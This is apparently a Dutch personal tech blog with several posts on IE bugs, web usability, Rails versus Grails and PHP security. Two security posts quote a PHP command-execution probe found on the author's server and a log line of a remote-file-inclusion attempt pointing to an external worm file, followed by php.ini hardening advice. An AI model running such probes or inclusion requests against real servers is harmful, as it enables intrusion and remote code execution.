MSIE: operation aborted

operation abortedOp één of andere site, die misschien wel en misschien niet met mijn werkgever te maken heeft, zagen we vreemde dingen in MS Internet Explorer; tijdens het laden van sommige pagina’s kregen we een lelijke “Operation aborted” error te zien.
De oorzaak: terwijl MSIE (via een trage bedrijfsproxy) de DOM van een zwaardere pagina nog aan het inladen was, probeerde een javascriptje (dat de .update functie van Prototype aanroept) al een DIV te updaten. En blijkbaar slaat Internet Explorer (versie 6 en 7) in dat geval een beetje aan het stotteren.
De oplossing: het uitvoeren van de element.update uitstellen tot de DOM geladen is. MSIE (6 en 7) hebben daar blijkbaar geen kant-en-klare functie voor, maar op het internet vind je daar wel oplossingen voor.
Zo, nu dat achter de rug is, ga ik een huis kopen! 🙂

Over foute (web-)applicaties

Omdat Jakob Nielsen een slimme mens is, omdat hij een nieuw artikel geschreven heeft over web-applicatie design en omdat gratis kwalitatieve content alle aandacht verdient; “Top-10 Application-Design Mistakes“. Wat die tien design-fouten dan wel zijn moet ge zelf maar lezen, maar de bonus wil ik U hier niet onthouden:

“It’s almost always wrong to have a Reset button on a Web form. The reset button clears the user’s entire input and returns the form to its pristine state. Users would want that only if they’re repeatedly completing the same form with completely different data, which almost never happens on websites. Making it easy for users to destroy their work in a single click violates one of the most basic usability principles, which is to respect and protect the user’s work at almost any cost.”

Dat de man gelijk heeft!

Van Java naar (Ruby on) Rails of Grails?

Het is opvallend dat een aantal developers op planet grep en geekdinner persoonlijk en daarna ook professioneel de switch van Java- naar Rails-development maken. Een bevriende java-developer met voorliefde voor Spring en Hibernate, is dan weer bijzonder enthousiast over Groovy en Grails. Java framework speacher/ blogger Matt Raible twijfelt blijkbaar nog.
Op welke basis kiezen jullie voor Rails of Grails? Is het niet logischer om van Java direct naar Grails te gaan, zeker voor die grote bedrijven die al Java-geörienteerd zijn? Of is Rails, gezien de historische voorsprong, gewoon veel vollediger?

Nog over web usability

web app usability posterGewoon een paar links naar interessante usability-related dingen die ik de laatste dagen feed-gewijs las:

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?
Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …
Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).
Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.
Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.

Over internet en development, en waarom ik er zo goed in ben!

Het is toch straf dat de web-bozo’s van één van Europa’s grootste IT-services bedrijven weer eens moeten toegeven dat guru Goossens toch gelijk heeft?

“Jaja, cross-domain Ajax dat kan, de nieuwe DWR maakt dat immers
allemaal perfect mogelijk.”

Toen ze me dat een paar maand geleden antwoordden, lachte ik minzaam en besloot rustig af te wachten. Want als ze mijn recept niet moeten, dan lijden ze maar honger. ‘t Is toch waar zeker? Want ik wist dat ze vroeg of laat toch tot het besef zouden komen dat dat inderdaad niet werkt. Security warnings all over the place. En dan “Het ligt aan de browsers” roepen, ja, tarara!
Het is alleen spijtig dat ze pas enkele dagen voor de release tot die conclusie komen, het zou de multinational in kwestie heel wat geld en kopzorgen bewaard hebben als ze vroeger naar mijn onbetaalbaar advies hadden geluisterd.
Enne, als voetnoot; met een iframe gaan klooien is écht geen proper alternatief jongens!
(Met dank aan meester- marketeer entertainer Steven Feys)

CMSWatch doet flauw over Sitecore marketing

Tony Byrne, analist en oprichter van CMSWatch, deed gisteren in een blogpost een beetje flauw over Sitecore. Nu maakt die Deense firma volgens mij één van de betere .NET gebaseerde web content management oplossingen en biedt het op die manier een bijzonder interessant alternatief voor het veelkoppige en schijnbaar ontembare Microsoft Sharepoint-monster.
Maar CMSWatch haalde gisteren dus uit naar Sitecore. De reden daarvoor was nochtans heel triviaal; op een pagina met “industry commentary” op de Sitecore-site staan citaten uit het Web CMS Report van CMSWatch. Dat Sitecore’s marketingjongens daarbij de positieve punten aanhalen, lijkt me in die context niet meer dan logisch. Niet zo volgens Tony Byrne dus, die in één adem -en onder de wervende titel “The case against Sitecore”- drie nadelen van het product opsomt en ons vermaant sceptisch te blijven bij het lezen van al dat marketing-geweld. Waarmee hij in één adem reclame maakt voor de eigen rapporten-winkel. Want uiteindelijk zijn we allemaal marketeer, nietwaar Tony?